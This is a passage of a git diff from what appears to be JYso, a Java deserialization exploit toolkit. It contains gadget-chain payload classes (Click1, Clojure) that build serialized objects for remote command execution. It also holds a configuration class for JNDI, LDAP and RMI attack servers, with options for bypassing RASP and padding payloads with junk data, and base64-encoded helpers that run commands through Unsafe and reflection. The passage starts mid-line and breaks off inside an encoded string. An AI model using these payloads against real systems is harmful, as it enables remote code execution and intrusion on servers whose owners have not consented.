Gadgets.createTemplatesImpl(command); - queueArray[0] = template; - return queue; - } - -} +package com.qi4l.JYso.gadgets; + +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.Gadgets; +import com.qi4l.JYso.gadgets.utils.Reflections; +import org.apache.click.control.Column; +import org.apache.click.control.Table; + +import java.math.BigInteger; +import java.util.Comparator; +import java.util.PriorityQueue; + + +/** + * Apache Click chain based on arbitrary getter calls in PropertyUtils.getObjectPropertyValue(). + * We use java.util.PriorityQueue to trigger ColumnComparator.compare(). + * After that, ColumnComparator.compare() leads to TemplatesImpl.getOutputProperties() via unsafe reflection. + *

+ * Chain: + *

+ * java.util.PriorityQueue.readObject() + * java.util.PriorityQueue.heapify() + * java.util.PriorityQueue.siftDown() + * java.util.PriorityQueue.siftDownUsingComparator() + * org.apache.click.control.Column$ColumnComparator.compare() + * org.apache.click.control.Column.getProperty() + * org.apache.click.control.Column.getProperty() + * org.apache.click.util.PropertyUtils.getValue() + * org.apache.click.util.PropertyUtils.getObjectPropertyValue() + * java.lang.reflect.Method.invoke() + * com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties() + * ... + *

+ * Arguments: + * - command to execute + *

+ * Yields: + * - RCE via TemplatesImpl.getOutputProperties() + *

+ * Requires: + * - Apache Click + * - servlet-api of any version + *

+ * by @artsploit + */ + +@SuppressWarnings({"rawtypes", "unchecked","unused"}) +@Dependencies({"org.apache.click:click-nodeps:2.3.0", "javax.servlet:javax.servlet-api:3.1.0"}) +@Authors({Authors.ARTSPLOIT}) +public class Click1 implements ObjectPayload { + + public Object getObject(String command) throws Exception { + // prepare a Column.comparator with mock values + final Column column = new Column("lowestSetBit"); + column.setTable(new Table()); + Comparator comparator = (Comparator) Reflections.newInstance("org.apache.click.control.Column$ColumnComparator", column); + + // create queue with numbers and our comparator + final PriorityQueue queue = new PriorityQueue(2, comparator); + // stub data for replacement later + queue.add(new BigInteger("1")); + queue.add(new BigInteger("1")); + + // switch method called by the comparator, + // so it will trigger getOutputProperties() when objects in the queue are compared + column.setName("outputProperties"); + + // finally, we inject and new TemplatesImpl object into the queue, + // so its getOutputProperties() method will be called + final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue"); + final Object template; + template = Gadgets.createTemplatesImpl(command); + queueArray[0] = template; + return queue; + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Clojure.java b/src/main/java/com/qi4l/JYso/gadgets/Clojure.java index 96e78d6..98bf1d1 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Clojure.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Clojure.java @@ -1,51 +1,51 @@ -package com.qi4l.JYso.gadgets; - -import clojure.core$comp; -import clojure.core$constantly; -import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a; -import clojure.lang.PersistentArrayMap; -import clojure.main$eval_opt; -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.clojure.ClojureUtil; - -import java.util.HashMap; -import java.util.Map; - -import static com.qi4l.JYso.gadgets.annotation.Authors.JACKOFMOSTTRADES; - -/** - * Gadget chain: - * ObjectInputStream.readObject() - * HashMap.readObject() - * AbstractTableModel$ff19274a.hashCode() - * clojure.core$comp$fn__4727.invoke() - * clojure.core$constantly$fn__4614.invoke() - * clojure.main$eval_opt.invoke() - *

- * Requires: - * org.clojure:clojure - * Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions - */ - -@SuppressWarnings({"unused"}) -@Dependencies({"org.clojure:clojure:1.8.0"}) -@Authors({JACKOFMOSTTRADES}) -public class Clojure implements ObjectPayload> { - - public Map getObject(String command) throws Exception { - String clojurePayload = ClojureUtil.makeClojurePayload(command); - Map fnMap = new HashMap<>(); - fnMap.put("hashCode", (new core$constantly()).invoke(0)); - AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a(); - model.__initClojureFnMappings(PersistentArrayMap.create(fnMap)); - HashMap targetMap = new HashMap<>(); - targetMap.put(model, null); - fnMap.put("hashCode", (new core$comp()) - .invoke(new main$eval_opt(), (new core$constantly()) - .invoke(clojurePayload))); - model.__initClojureFnMappings(PersistentArrayMap.create(fnMap)); - return targetMap; - } - -} +package com.qi4l.JYso.gadgets; + +import clojure.core$comp; +import clojure.core$constantly; +import clojure.inspector.proxy$javax.swing.table.AbstractTableModel$ff19274a; +import clojure.lang.PersistentArrayMap; +import clojure.main$eval_opt; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.clojure.ClojureUtil; + +import java.util.HashMap; +import java.util.Map; + +import static com.qi4l.JYso.gadgets.annotation.Authors.JACKOFMOSTTRADES; + +/** + * Gadget chain: + * ObjectInputStream.readObject() + * HashMap.readObject() + * AbstractTableModel$ff19274a.hashCode() + * clojure.core$comp$fn__4727.invoke() + * clojure.core$constantly$fn__4614.invoke() + * clojure.main$eval_opt.invoke() + *

+ * Requires: + * org.clojure:clojure + * Versions since 1.2.0 are vulnerable, although some class names may need to be changed for other versions + */ + +@SuppressWarnings({"unused"}) +@Dependencies({"org.clojure:clojure:1.8.0"}) +@Authors({JACKOFMOSTTRADES}) +public class Clojure implements ObjectPayload> { + + public Map getObject(String command) throws Exception { + String clojurePayload = ClojureUtil.makeClojurePayload(command); + Map fnMap = new HashMap<>(); + fnMap.put("hashCode", (new core$constantly()).invoke(0)); + AbstractTableModel$ff19274a model = new AbstractTableModel$ff19274a(); + model.__initClojureFnMappings(PersistentArrayMap.create(fnMap)); + HashMap targetMap = new HashMap<>(); + targetMap.put(model, null); + fnMap.put("hashCode", (new core$comp()) + .invoke(new main$eval_opt(), (new core$constantly()) + .invoke(clojurePayload))); + model.__initClojureFnMappings(PersistentArrayMap.create(fnMap)); + return targetMap; + } + +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java b/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java index 71fdfd3..cabc48c 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Config/Config.java @@ -1,174 +1,174 @@ -package com.qi4l.JYso.gadgets.Config; - -import com.beust.jcommander.JCommander; -import com.beust.jcommander.Parameter; -import com.beust.jcommander.UnixStyleUsageFormatter; -import com.qi4l.JYso.gadgets.ObjectPayload; -import com.qi4l.JYso.gadgets.annotation.Authors; -import com.qi4l.JYso.gadgets.annotation.Dependencies; -import com.qi4l.JYso.gadgets.utils.StringUtil; -import javassist.ClassPool; -import org.fusesource.jansi.Ansi; - -import java.util.*; - -public class Config { - public static String codeBase; - - @Parameter(names = {"-i", " --ip"}, description = "Local ip address ", order = 1) - public static String ip = "0.0.0.0"; - - @Parameter(names = {"-lP", "--ldapPort"}, description = "Ldap bind port", order = 2) - public static int ldapPort = 1389; - - @Parameter(names = {"-lPs", "--ldapsPort"}, description = "Ldaps bind port", order = 2) - public static int ldapsPort = 1669; - - @Parameter(names = {"-rP", "--rmiPort"}, description = "rmi bind port", order = 2) - public static int rmiPort = 1099; - - @Parameter(names = {"-hP", "--httpPort"}, description = "Http bind port", order = 3) - public static int httpPort = 3456; - @Parameter(names = {"-c", " --command"}, help = true, description = "RMI this command") - public static String command = "whoami"; - @Parameter(names = {"-v", " --version"}, help = true, description = "Show version", order = 5) - public static boolean showVersion; - @Parameter(names = {"-ga", " --gadgets"}, help = true, description = "Show gadgets", order = 5) - public static boolean showGadgets; - @Parameter(names = {"-ak", " --AESkey"}, description = "AES+BAse64 decryption of routes", order = 5) - public static String AESkey = "123"; - @Parameter(names = {"-u", " --user"}, help = true, description = "ldap bound account", order = 5) - public static String USER = ""; - @Parameter(names = {"-p", " --PASSWD"}, help = true, description = "ldap binding password", order = 5) - public static String PASSWD = ""; - @Parameter(names = {"-t", " --LdapsServer"}, help = true, description = "TLS port forwarding", order = 5) - public static boolean TLSProxy = false; - @Parameter(names = {"-kP", " --keyPass"}, help = true, description = "JKS key password", order = 5) - public static String keyPass = ""; - @Parameter(names = {"-cF", " --certFile"}, help = true, description = "JKS certificate file Path", order = 5) - public static String certFile = ""; - - @Parameter(names = {"-j", "--jndi"}, help = true, description = "starter", order = 5) - public static boolean jndi = false; - public static String rhost; - public static String rport; - // 从HTTP外部获取路由值 - public static String ROUTE = ""; - // 从HTTP外部获取参数值 - public static String BCEL1 = ""; - // 恶意类是否继承 AbstractTranslet - public static Boolean IS_INHERIT_ABSTRACT_TRANSLET = false; - //是否使用反射绕过RASP - public static Boolean IS_OBSCURE = false; - // 是否在序列化数据流中的 TC_RESET 中填充脏数据 - public static Boolean IS_DIRTY_IN_TC_RESET = false; - public static Boolean IS_UTF_Bypass = false; - // 填充的脏数据长度 - public static int DIRTY_LENGTH_IN_TC_RESET = 0; - - // DefineClassFromParameter 的路径 - public static String PARAMETER = "dc"; - // 将输入直接写在文件里 - public static String FILE = "out.ser"; - public static Boolean WRITE_FILE = false; - public static Boolean BASE64 = false; - // 是否强制使用 org.apache.XXX.TemplatesImpl - public static Boolean FORCE_USING_ORG_APACHE_TEMPLATESIMPL = false; - // 在 Transformer[] 中使用 org.mozilla.javascript.DefiningClassLoader - public static Boolean USING_MOZILLA_DEFININGCLASSLOADER = false; - // ScriptEngineManager 是否为 RHINO 引擎 - public static boolean USING_RHINO = false; - public static ClassPool POOL = ClassPool.getDefault(); - @Parameter(names = {"-h", " --help"}, help = true, description = "Show this help") - private static boolean help = false; - - @SuppressWarnings({"InstantiationOfUtilityClass","HttpUrlsUsage"}) - public static void applyCmdArgs(String[] args) { - //process cmd args - - JCommander jc = JCommander.newBuilder() - .addObject(new Config()) - .build(); - try { - jc.parse(args); - } catch (Exception e) { - System.out.println("Error: " + e.getMessage() + "\n"); - help = true; - } - - if (showGadgets) { - final List>> payloadClasses = - new ArrayList<>(ObjectPayload.Utils.getPayloadClasses()); - payloadClasses.sort(new StringUtil.ToStringComparator()); // alphabetize - - final List rows = new LinkedList<>(); - rows.add(new String[]{"Payload", "Authors", "Dependencies"}); - rows.add(new String[]{"-------", "-------", "------------"}); - for (Class> payloadClass : payloadClasses) { - rows.add(new String[]{ - payloadClass.getSimpleName(), - StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""), - StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "") - }); - } - - final List lines = StringUtil.formatTable(rows); - - for (String line : lines) { - System.out.println(" " + line); - } - - System.exit(0); - } - - if (showVersion) { - System.exit(0); - } - - //获取当前 Jar 的名称 - jc.setProgramName("java -jar JYso.jar"); - jc.setUsageFormatter(new UnixStyleUsageFormatter(jc)); - - if (help) { - jc.usage(); //if -h specified, show help and exit - System.exit(0); - } - - // 特别注意:最后一个反斜杠不能少啊 - Config.codeBase = "http://" + Config.ip + ":" + Config.httpPort + "/"; - } - - public static void logo() { - String logo = " ┏┳┓┏ \n" + - " ┃┗┫┏┏┓ \n" + - " ┗┛┗┛┛┗┛ "; - - // 高亮颜色代码(不包括黑色) - Ansi.Color[] colors = { - Ansi.Color.RED, - Ansi.Color.GREEN, - Ansi.Color.YELLOW, - Ansi.Color.BLUE, - Ansi.Color.MAGENTA, - Ansi.Color.CYAN, - Ansi.Color.WHITE - }; - - Random random = new Random(); - - StringBuilder coloredLogo = new StringBuilder(); - - for (char c : logo.toCharArray()) { - if (c != ' ' && c != '\n') { - // 选择一个随机的高亮颜色 - Ansi.Color color = colors[random.nextInt(colors.length)]; - coloredLogo.append(Ansi.ansi().fgBright(color).a(c).reset()); - } else { - // 保持空格和换行符 - coloredLogo.append(c); - } - } - - System.out.println(coloredLogo); - } -} +package com.qi4l.JYso.gadgets.Config; + +import com.beust.jcommander.JCommander; +import com.beust.jcommander.Parameter; +import com.beust.jcommander.UnixStyleUsageFormatter; +import com.qi4l.JYso.gadgets.ObjectPayload; +import com.qi4l.JYso.gadgets.annotation.Authors; +import com.qi4l.JYso.gadgets.annotation.Dependencies; +import com.qi4l.JYso.gadgets.utils.StringUtil; +import javassist.ClassPool; +import org.fusesource.jansi.Ansi; + +import java.util.*; + +public class Config { + public static String codeBase; + + @Parameter(names = {"-i", " --ip"}, description = "Local ip address ", order = 1) + public static String ip = "0.0.0.0"; + + @Parameter(names = {"-lP", "--ldapPort"}, description = "Ldap bind port", order = 2) + public static int ldapPort = 1389; + + @Parameter(names = {"-lPs", "--ldapsPort"}, description = "Ldaps bind port", order = 2) + public static int ldapsPort = 1669; + + @Parameter(names = {"-rP", "--rmiPort"}, description = "rmi bind port", order = 2) + public static int rmiPort = 1099; + + @Parameter(names = {"-hP", "--httpPort"}, description = "Http bind port", order = 3) + public static int httpPort = 3456; + @Parameter(names = {"-c", " --command"}, help = true, description = "RMI this command") + public static String command = "whoami"; + @Parameter(names = {"-v", " --version"}, help = true, description = "Show version", order = 5) + public static boolean showVersion; + @Parameter(names = {"-ga", " --gadgets"}, help = true, description = "Show gadgets", order = 5) + public static boolean showGadgets; + @Parameter(names = {"-ak", " --AESkey"}, description = "AES+BAse64 decryption of routes", order = 5) + public static String AESkey = "123"; + @Parameter(names = {"-u", " --user"}, help = true, description = "ldap bound account", order = 5) + public static String USER = ""; + @Parameter(names = {"-p", " --PASSWD"}, help = true, description = "ldap binding password", order = 5) + public static String PASSWD = ""; + @Parameter(names = {"-t", " --LdapsServer"}, help = true, description = "TLS port forwarding", order = 5) + public static boolean TLSProxy = false; + @Parameter(names = {"-kP", " --keyPass"}, help = true, description = "JKS key password", order = 5) + public static String keyPass = ""; + @Parameter(names = {"-cF", " --certFile"}, help = true, description = "JKS certificate file Path", order = 5) + public static String certFile = ""; + + @Parameter(names = {"-j", "--jndi"}, help = true, description = "starter", order = 5) + public static boolean jndi = false; + public static String rhost; + public static String rport; + // 从HTTP外部获取路由值 + public static String ROUTE = ""; + // 从HTTP外部获取参数值 + public static String BCEL1 = ""; + // 恶意类是否继承 AbstractTranslet + public static Boolean IS_INHERIT_ABSTRACT_TRANSLET = false; + //是否使用反射绕过RASP + public static Boolean IS_OBSCURE = false; + // 是否在序列化数据流中的 TC_RESET 中填充脏数据 + public static Boolean IS_DIRTY_IN_TC_RESET = false; + public static Boolean IS_UTF_Bypass = false; + // 填充的脏数据长度 + public static int DIRTY_LENGTH_IN_TC_RESET = 0; + + // DefineClassFromParameter 的路径 + public static String PARAMETER = "dc"; + // 将输入直接写在文件里 + public static String FILE = "out.ser"; + public static Boolean WRITE_FILE = false; + public static Boolean BASE64 = false; + // 是否强制使用 org.apache.XXX.TemplatesImpl + public static Boolean FORCE_USING_ORG_APACHE_TEMPLATESIMPL = false; + // 在 Transformer[] 中使用 org.mozilla.javascript.DefiningClassLoader + public static Boolean USING_MOZILLA_DEFININGCLASSLOADER = false; + // ScriptEngineManager 是否为 RHINO 引擎 + public static boolean USING_RHINO = false; + public static ClassPool POOL = ClassPool.getDefault(); + @Parameter(names = {"-h", " --help"}, help = true, description = "Show this help") + private static boolean help = false; + + @SuppressWarnings({"InstantiationOfUtilityClass","HttpUrlsUsage"}) + public static void applyCmdArgs(String[] args) { + //process cmd args + + JCommander jc = JCommander.newBuilder() + .addObject(new Config()) + .build(); + try { + jc.parse(args); + } catch (Exception e) { + System.out.println("Error: " + e.getMessage() + "\n"); + help = true; + } + + if (showGadgets) { + final List>> payloadClasses = + new ArrayList<>(ObjectPayload.Utils.getPayloadClasses()); + payloadClasses.sort(new StringUtil.ToStringComparator()); // alphabetize + + final List rows = new LinkedList<>(); + rows.add(new String[]{"Payload", "Authors", "Dependencies"}); + rows.add(new String[]{"-------", "-------", "------------"}); + for (Class> payloadClass : payloadClasses) { + rows.add(new String[]{ + payloadClass.getSimpleName(), + StringUtil.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""), + StringUtil.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)), ", ", "", "") + }); + } + + final List lines = StringUtil.formatTable(rows); + + for (String line : lines) { + System.out.println(" " + line); + } + + System.exit(0); + } + + if (showVersion) { + System.exit(0); + } + + //获取当前 Jar 的名称 + jc.setProgramName("java -jar JYso.jar"); + jc.setUsageFormatter(new UnixStyleUsageFormatter(jc)); + + if (help) { + jc.usage(); //if -h specified, show help and exit + System.exit(0); + } + + // 特别注意:最后一个反斜杠不能少啊 + Config.codeBase = "http://" + Config.ip + ":" + Config.httpPort + "/"; + } + + public static void logo() { + String logo = " ┏┳┓┏ \n" + + " ┃┗┫┏┏┓ \n" + + " ┗┛┗┛┛┗┛ "; + + // 高亮颜色代码(不包括黑色) + Ansi.Color[] colors = { + Ansi.Color.RED, + Ansi.Color.GREEN, + Ansi.Color.YELLOW, + Ansi.Color.BLUE, + Ansi.Color.MAGENTA, + Ansi.Color.CYAN, + Ansi.Color.WHITE + }; + + Random random = new Random(); + + StringBuilder coloredLogo = new StringBuilder(); + + for (char c : logo.toCharArray()) { + if (c != ' ' && c != '\n') { + // 选择一个随机的高亮颜色 + Ansi.Color color = colors[random.nextInt(colors.length)]; + coloredLogo.append(Ansi.ansi().fgBright(color).a(c).reset()); + } else { + // 保持空格和换行符 + coloredLogo.append(c); + } + } + + System.out.println(coloredLogo); + } +} diff --git a/src/main/java/com/qi4l/JYso/gadgets/Config/MemShellPayloads.java b/src/main/java/com/qi4l/JYso/gadgets/Config/MemShellPayloads.java index f843fb4..7f7aa1f 100644 --- a/src/main/java/com/qi4l/JYso/gadgets/Config/MemShellPayloads.java +++ b/src/main/java/com/qi4l/JYso/gadgets/Config/MemShellPayloads.java @@ -1,27 +1,27 @@ -package com.qi4l.JYso.gadgets.Config; - -public class MemShellPayloads { - // toCString - public static String TO_CSTRING_Method = "CXB1YmxpYyBzdGF0aWMgYnl0ZVtdIHRvQ1N0cmluZyhTdHJpbmcgcykgewoJCWlmIChzID09IG51bGwpCgkJCXJldHVybiBudWxsOwoJCWJ5dGVbXSBieXRlcyAgPSBzLmdldEJ5dGVzKCk7CgkJYnl0ZVtdIHJlc3VsdCA9IG5ldyBieXRlW2J5dGVzLmxlbmd0aCArIDFdOwoJCVN5c3RlbS5hcnJheWNvcHkoYnl0ZXMsIDAsCgkJCQlyZXN1bHQsIDAsCgkJCQlieXRlcy5sZW5ndGgpOwoJCXJlc3VsdFtyZXN1bHQubGVuZ3RoIC0gMV0gPSAoYnl0ZSkgMDsKCQlyZXR1cm4gcmVzdWx0OwoJfQ=="; - - // getMethodAndInvoke native 版 - public static String GET_METHOD_AND_INVOKE_OBSCURE = "ICAgIHB1YmxpYyBzdGF0aWMgT2JqZWN0IGdldE1ldGhvZEFuZEludm9rZShPYmplY3Qgb2JqLCBTdHJpbmcgbWV0aG9kTmFtZSwgQ2xhc3NbXSBwYXJhbWV0ZXJDbGFzcywgT2JqZWN0W10gcGFyYW1ldGVycykgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QgPSBnZXRNZXRob2RCeUNsYXNzKG9iai5nZXRDbGFzcygpLCBtZXRob2ROYW1lLCBwYXJhbWV0ZXJDbGFzcyk7CiAgICAgICAgICAgIGlmIChtZXRob2QgIT0gbnVsbCkgewoKICAgICAgICAgICAgICAgIENsYXNzICAgICAgICAgICAgICAgICAgICBjbGF6eiA9IENsYXNzLmZvck5hbWUoInN1bi5yZWZsZWN0Lk5hdGl2ZU1ldGhvZEFjY2Vzc29ySW1wbCIpOwogICAgICAgICAgICAgICAgamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIG0gICAgID0gY2xhenouZ2V0RGVjbGFyZWRNZXRob2QoImludm9rZTAiLCBuZXcgQ2xhc3NbXXtqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QuY2xhc3MsIE9iamVjdC5jbGFzcywgT2JqZWN0W10uY2xhc3N9KTsKICAgICAgICAgICAgICAgIG0uc2V0QWNjZXNzaWJsZSh0cnVlKTsKICAgICAgICAgICAgICAgIHJldHVybiBtLmludm9rZShudWxsLCBuZXcgT2JqZWN0W117bWV0aG9kLCBvYmosIHBhcmFtZXRlcnN9KTsKICAgICAgICAgICAgfQogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7CiAgICAgICAgfQogICAgICAgIHJldHVybiBudWxsOwogICAgfQ=="; - - // getMethodAndInvoke - public static String GET_METHOD_AND_INVOKE = "cHVibGljIHN0YXRpYyBPYmplY3QgZ2V0TWV0aG9kQW5kSW52b2tlKE9iamVjdCBvYmosIFN0cmluZyBtZXRob2ROYW1lLCBDbGFzc1tdIHBhcmFtZXRlckNsYXNzLCBPYmplY3RbXSBwYXJhbWV0ZXJzKSB7CgkJdHJ5IHsKCQkJamF2YS5sYW5nLnJlZmxlY3QuTWV0aG9kIG1ldGhvZCA9IGdldE1ldGhvZEJ5Q2xhc3Mob2JqLmdldENsYXNzKCksIG1ldGhvZE5hbWUsIHBhcmFtZXRlckNsYXNzKTsKCQkJaWYgKG1ldGhvZCAhPSBudWxsKQoJCQkJcmV0dXJuIG1ldGhvZC5pbnZva2Uob2JqLCBwYXJhbWV0ZXJzKTsKCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgewoJCX0KCQlyZXR1cm4gbnVsbDsKCX0="; - - // getMethodByClass - public static String GET_METHOD_BY_CLASS = "cHVibGljIHN0YXRpYyBqYXZhLmxhbmcucmVmbGVjdC5NZXRob2QgZ2V0TWV0aG9kQnlDbGFzcyhDbGFzcyBjcywgU3RyaW5nIG1ldGhvZE5hbWUsIENsYXNzW10gcGFyYW1ldGVycykgewoJCWphdmEubGFuZy5yZWZsZWN0Lk1ldGhvZCBtZXRob2QgPSBudWxsOwoJCXdoaWxlIChjcyAhPSBudWxsKSB7CgkJCXRyeSB7CgkJCQltZXRob2QgPSBjcy5nZXREZWNsYXJlZE1ldGhvZChtZXRob2ROYW1lLCBwYXJhbWV0ZXJzKTsKCQkJCW1ldGhvZC5zZXRBY2Nlc3NpYmxlKHRydWUpOwoJCQkJY3MgPSBudWxsOwoJCQl9IGNhdGNoIChFeGNlcHRpb24gZSkgewoJCQkJY3MgPSBjcy5nZXRTdXBlcmNsYXNzKCk7CgkJCX0KCQl9CgkJcmV0dXJuIG1ldGhvZDsKCX0="; - - // getFieldValue - public static String GET_FIELD_VALUE = "cHVibGljIHN0YXRpYyBPYmplY3QgZ2V0RmllbGRWYWx1ZShPYmplY3Qgb2JqLCBTdHJpbmcgZmllbGROYW1lKSB0aHJvd3MgRXhjZXB0aW9uIHsKCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmID0gbnVsbDsKCQlpZiAob2JqIGluc3RhbmNlb2YgamF2YS5sYW5nLnJlZmxlY3QuRmllbGQpIHsKCQkJZiA9IChqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCkgb2JqOwoJCX0gZWxzZSB7CgkJCUNsYXNzIGNzID0gb2JqLmdldENsYXNzKCk7CgkJCXdoaWxlIChjcyAhPSBudWxsKSB7CgkJCQl0cnkgewoJCQkJCWYgPSBjcy5nZXREZWNsYXJlZEZpZWxkKGZpZWxkTmFtZSk7CgkJCQkJY3MgPSBudWxsOwoJCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGUpIHsKCQkJCQljcyA9IGNzLmdldFN1cGVyY2xhc3MoKTsKCQkJCX0KCQkJfQoJCX0KCQlmLnNldEFjY2Vzc2libGUodHJ1ZSk7CgkJcmV0dXJuIGYuZ2V0KG9iaik7Cgl9"; - - // getUnsafe - public static String GET_UNSAFE = "cHVibGljIHN0YXRpYyBzdW4ubWlzYy5VbnNhZmUgZ2V0VW5zYWZlKCkgew0KCQlzdW4ubWlzYy5VbnNhZmUgdW5zYWZlID0gbnVsbDsNCgkJdHJ5IHsNCgkJCWlmIChDbGFzcy5mb3JOYW1lKG5ldyBUaHJvd2FibGUoKS5nZXRTdGFja1RyYWNlKClbMV0uZ2V0Q2xhc3NOYW1lKCkpLmdldENsYXNzTG9hZGVyKCkgPT0gbnVsbCkgew0KCQkJCXVuc2FmZSA9IHN1bi5taXNjLlVuc2FmZS5nZXRVbnNhZmUoKTsNCgkJCX0NCgkJfSBjYXRjaCAoQ2xhc3NOb3RGb3VuZEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCX0NCg0KCQlpZiAodW5zYWZlID09IG51bGwpIHsNCgkJCXRyeSB7DQoJCQkJQ2xhc3MgICAgICAgICAgICAgICAgICAgZ3NvbkNsYXNzID0gQ2xhc3MuZm9yTmFtZSgiY29tLmdvb2dsZS5nc29uLmludGVybmFsLnJlZmxlY3QuVW5zYWZlUmVmbGVjdGlvbkFjY2Vzc29yIik7DQoJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgZmllbGQgICAgID0gZ3NvbkNsYXNzLmdldERlY2xhcmVkRmllbGQoInRoZVVuc2FmZSIpOw0KCQkJCWZpZWxkLnNldEFjY2Vzc2libGUodHJ1ZSk7DQoJCQkJdW5zYWZlID0gKHN1bi5taXNjLlVuc2FmZSkgZmllbGQuZ2V0KG51bGwpOw0KCQkJfSBjYXRjaCAoRXhjZXB0aW9uIGlnbm9yZWQpIHsNCgkJCX0NCgkJfQ0KDQoJCWlmICh1bnNhZmUgPT0gbnVsbCkgew0KCQkJdHJ5IHsNCgkJCQlDbGFzcyAgICAgICAgICAgICAgICAgICBuZXR0eUNsYXNzID0gQ2xhc3MuZm9yTmFtZSgiaW8ubmV0dHkudXRpbC5pbnRlcm5hbC5zaGFkZWQub3JnLmpjdG9vbHMudXRpbC5VbnNhZmVBY2Nlc3MiKTsNCgkJCQlqYXZhLmxhbmcucmVmbGVjdC5GaWVsZCBmaWVsZCAgICAgID0gbmV0dHlDbGFzcy5nZXREZWNsYXJlZEZpZWxkKCJVTlNBRkUiKTsNCgkJCQlmaWVsZC5zZXRBY2Nlc3NpYmxlKHRydWUpOw0KCQkJCXVuc2FmZSA9IChzdW4ubWlzYy5VbnNhZmUpIGZpZWxkLmdldChudWxsKTsNCgkJCX0gY2F0Y2ggKEV4Y2VwdGlvbiBpZ25vcmVkKSB7DQoJCQl9DQoJCX0NCg0KCQlpZiAodW5zYWZlID09IG51bGwpIHsNCgkJCXRyeSB7DQoJCQkJamF2YS5sYW5nLnJlZmxlY3QuRmllbGQgdGhlVW5zYWZlRmllbGQgPSBzdW4ubWlzYy5VbnNhZmUuY2xhc3MuZ2V0RGVjbGFyZWRGaWVsZCgidGhlVW5zYWZlIik7DQoJCQkJdGhlVW5zYWZlRmllbGQuc2V0QWNjZXNzaWJsZSh0cnVlKTsNCgkJCQl1bnNhZmUgPSAoc3VuLm1pc2MuVW5zYWZlKSB0aGVVbnNhZmVGaWVsZC5nZXQobnVsbCk7DQoJCQl9IGNhdGNoIChFeGNlcHRpb24gaWdub3JlZCkgew0KCQkJfQ0KCQl9DQoNCgkJcmV0dXJuIHVuc2FmZTsNCgl9"; - - // 命令执行封装方法,使用反射调用 forkandexec, 需要 toCString getMethodByClass getMethodAndInvoke getFieldValue getUnsafe - public static String EXEC_CMD_OBSCURE = "cHVibGljIHN0YXRpYyBqYXZhLmlvLkJ5dGVBcnJheU91dHB1dFN0cmVhbSBleGVjQ21kKFN0cmluZyBjbWQpIHsKCQl0cnkgewoJCQlpZiAoY21kICE9IG51bGwgJiYgIWNtZC5pc0VtcHR5KCkpIHsKCQkJCVN0cmluZ1tdICAgICAgICAgICAgICAgICAgICAgIGNtZHMgICAgICAgICAgPSBudWxsOwoJCQkJQ2xhc3MgICAgICAgICAgICAgICAgICAgICAgICAgcHJvY2Vzc0NsYXNzICA9IG51bGw7CgkJCQlPYmplY3QgICAgICAgICAgICAgICAgICAgICAgICBwcm9jZXNzT2JqZWN0ID0gbnVsbDsKCQkJCXN1bi5taXNjLlVuc2FmZSAgICAgICAgICAgICAgIHVuc2FmZSAgICAgICAgPSBnZXRVbnNhZmUoKTsKCQkJCWphdmEuaW8uQnl0ZUFycmF5T3V0cHV0U3RyZWFtIGJhb3MgICAgICAgICAgPSBuZXcgamF2YS5pby5CeXRlQXJyYXlPdXRwdXRTdHJlYW0oKTsKCQkJCWlmIChTeXN0ZW0uZ2V0UHJvcGVydHkoIm9zLm5hbWUiKS50b0xvd2VyQ2FzZSgpLmNvbnRhaW5zKCJ3aW4iKSkgewoJCQkJCWNtZHMgPSBuZXcgU3RyaW5nW117ImNtZCIsICIvYyIsIGNtZH07CgkJCQkJcHJvY2Vzc0NsYXNzID0gQ2xhc3MuZm9yTmFtZSgiamF2YS5sYW5nLlByb2Nlc3NJbXBsIik7CgkJCQkJcHJvY2Vzc09iamVjdCA9IHVuc2FmZS5hbGxvY2F0ZUluc3RhbmNlKHByb2Nlc3NDbGFzcyk7CgkJCQkJbG9uZ1tdICAgICAgICAgICAgICAgICBzdGRIYW5kbGVzID0gbmV3IGxvbmdbXXstMUwsIC0xTCwgLTFMfTsKCQkJCQlqYXZhLmlvLkZpbGVEZXNjcmlwdG9yIHN0ZG91dF9mZCAgPSBuZXcgamF2YS5pby5GaWxlRGVzY3JpcHRvcigpOwoJCQkJCVN0cmluZ0J1aWxkZXIgICAgICAgICAgc2IgICAgICAgICA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CgoJCQkJCWZvciAoaW50IGkgPSAwOyBpIDwgY21kcy5sZW5ndGg7IGkrKykgewoJCQkJCQlzYi5hcHBlbmQoY21kc1tpXSkuYXBwZW5kKCIgIik7CgkJCQkJfQoJCQkJCU9iamVjdCBoYW5kbGUgPSBnZXRNZXRob2RBbmRJbnZva2UocH